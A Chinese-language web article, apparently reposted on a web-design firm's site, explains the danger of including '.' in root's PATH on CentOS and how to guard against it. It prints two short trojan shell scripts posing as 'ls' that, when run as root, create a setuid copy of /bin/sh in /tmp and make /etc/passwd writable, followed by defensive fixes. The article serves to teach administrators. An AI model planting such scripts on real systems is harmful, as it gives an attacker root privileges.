這篇文章將為大家詳細(xì)講解有關(guān)怎么在centos中設(shè)置環(huán)境變量，文章內(nèi)容質(zhì)量較高，因此小編分享給大家做個(gè)參考，希望大家閱讀完這篇文章后對(duì)相關(guān)知識(shí)有一定的了解。

公司主營(yíng)業(yè)務(wù)：網(wǎng)站設(shè)計(jì)制作、做網(wǎng)站、移動(dòng)網(wǎng)站開發(fā)等業(yè)務(wù)。幫助企業(yè)客戶真正實(shí)現(xiàn)互聯(lián)網(wǎng)宣傳，提高企業(yè)的競(jìng)爭(zhēng)能力。成都創(chuàng)新互聯(lián)公司是一支青春激揚(yáng)、勤奮敬業(yè)、活力青春激揚(yáng)、勤奮敬業(yè)、活力澎湃、和諧高效的團(tuán)隊(duì)。公司秉承以“開放、自由、嚴(yán)謹(jǐn)、自律”為核心的企業(yè)文化，感謝他們對(duì)我們的高要求，感謝他們從不同領(lǐng)域給我們帶來的挑戰(zhàn)，讓我們激情的團(tuán)隊(duì)有機(jī)會(huì)用頭腦與智慧不斷的給客戶帶來驚喜。成都創(chuàng)新互聯(lián)公司推出萬秀免費(fèi)做網(wǎng)站回饋大家。

命令操作如下：

[root@rh root]# PATH=$PATH:.

[root@rh root]# echo $PATH

/usr/local/sbin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin:.

這下是方便了，直接輸入腳本名就能執(zhí)行。OK，正常情況下一點(diǎn)問題沒有，也省去了輸入./foo.sh的煩惱（foo.sh是我假設(shè)的腳本文件名）。有的root把PATH=$PATH:.這條命令加到了profile里，使所有用戶到分享你給他們帶來的"福音"。更有勝者root用戶竟然PATH=.:$PATH（將"："加到路徑前是另一種形式）。正常請(qǐng)況下一點(diǎn)問題沒有，直到有一天，張三用戶在他的主目錄下放了名為lls的腳本，并對(duì)root說他的系統(tǒng)出問題了希望root能幫他解決。（其實(shí)是一個(gè)trap）。Root一上來就su 成管理員權(quán)限，緊更著列了一下目錄。有可能管理員誤敲成了lls,結(jié)果哈哈。。。。

以下是個(gè)簡(jiǎn)單的C shell 的例子

#!/bin/csh

If ( ! -o /bin/su )

goto finish

cp /bin/sh /tmp/.sh

chmod 7777 /tmp/.sh

finish :

exec /bin/ls $argv | grep -v ls

稍微變形就有個(gè)B shell的

#！/bin/sh

if chmod 666 /etc/passwd > /dev/null 2>&1 ;then

cp /bin/sh /tmp/.sh

chmod 4755 /tmp/.sh

fi

exec ls "$@"

如果root將其環(huán)境變量$PATH包含了"."并且其位置先與ls所在的系統(tǒng)目錄，那么當(dāng)用戶在/tmp中執(zhí)行l(wèi)s時(shí)，執(zhí)行的是上面給出的腳本，而不是實(shí)際的ls命令，因?yàn)樽罱K還是執(zhí)行了ls,所以root不會(huì)看出有任何異常。如果是root執(zhí)行了該腳本，就會(huì)將口令文件設(shè)置為可寫,并將shell復(fù)制到/tmp保存為.sh，同時(shí)設(shè)置其setuserid位，所有這一切都非常安靜地發(fā)生。

在以上這兩個(gè)程序里，心懷不鬼的人能寫入任何令root急的要跳樓的程序，部下陷阱等root來鉆，也許root在不知不覺中施行了也根本不會(huì)察覺。 也許在張三的主目錄下有一個(gè)名為ps的腳本里面包含有危險(xiǎn)腳本，root可能一到他的機(jī)器前就輸入了ps,此時(shí)系統(tǒng)會(huì)首先到當(dāng)前目錄下搜索，結(jié)果/sbin/ps卻不被執(zhí)行。類似這樣的小花招還有很多。

管理員同志，不要太緊張，下面我說說解決辦法。

首先，要養(yǎng)成輸絕對(duì)路徑的良好命令行輸入習(xí)慣，這樣就不會(huì)讓"不法份子"乘虛而入了。比如，列目錄最好用/bin/ls來列目錄，不要圖方便而冒然輸入ls。

其次，根用戶（root）不要把"."包括到搜索目錄列表里，而普通用戶如果個(gè)"."包括到搜索列表中的話別，則"."就應(yīng)當(dāng)放在搜索目錄列表的最后位置上。這樣一來普通用戶不會(huì)受到前面所述的那種危害。

最后，可以在登陸時(shí)在/etc/profile 和bashrc .profile文件的末尾添加如下一行

[PATH=`echo $PATH |sed -e 's/::/:/g; s/:.:/:/g; s/:.$//; s/^://' `

這個(gè)簡(jiǎn)單的sed命令將刪除路徑里所有的"."包括其另一形式"：："

還可以由crontab調(diào)用定期執(zhí)行

#find / ! -fstype proc '(' -name '.??*' -o -name '.[^.]' ')' > point.txt ; mail -s 'this is a pointlist' root@localhost < point.txt

關(guān)于怎么在centos中設(shè)置環(huán)境變量就分享到這里了，希望以上內(nèi)容可以對(duì)大家有一定的幫助，可以學(xué)到更多知識(shí)。如果覺得文章不錯(cuò)，可以把它分享出去讓更多的人看到。

網(wǎng)站標(biāo)題：怎么在centos中設(shè)置環(huán)境變量
當(dāng)前URL：http://chinadenli.net/article30/jiispo.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián)，為您提供網(wǎng)站設(shè)計(jì)、App開發(fā)、品牌網(wǎng)站建設(shè)、虛擬主機(jī)、手機(jī)網(wǎng)站建設(shè)、商城網(wǎng)站

廣告

聲明：本網(wǎng)站發(fā)布的內(nèi)容（圖片、視頻和文字）以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主，如果涉及侵權(quán)請(qǐng)盡快告知，我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng)，如需處理請(qǐng)聯(lián)系客服。電話：028-86922220；郵箱：631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載，或轉(zhuǎn)載時(shí)需注明來源： 創(chuàng)新互聯(lián)